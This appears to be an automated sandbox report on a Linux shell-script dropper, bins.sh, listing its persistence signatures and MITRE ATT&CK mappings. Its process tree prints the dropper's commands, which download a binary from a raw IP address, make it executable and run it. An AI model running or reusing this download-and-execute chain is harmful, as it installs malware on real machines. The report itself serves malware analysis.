Analysis
- max time kernel
149s - max time network
149s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
16/09/2026, 11:05
General
- Target bins.sh
- Size 1KB
- Sample260916-m62evsxtew
- SHA256 522ab5263da1883e27cb376b5ac300debf0214a201710140280a3517e8207ded
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Creates/modifies environment variables 1 TTPs 3 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Write file to user bin folder 2 IoCs
- Modifies Bash startup script 2 TTPs 3 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://176.65.139.220/x86 -O x862⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x x862⤵
- File and Directory Permissions Modification
-
-
/tmp/x86./x862⤵
- Creates/modifies environment variables
- Write file to user bin folder
- Modifies Bash startup script
- Enumerates kernel/hardware configuration
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Privilege Escalation
Boot or Logon Autostart Execution
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
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Downloads
x86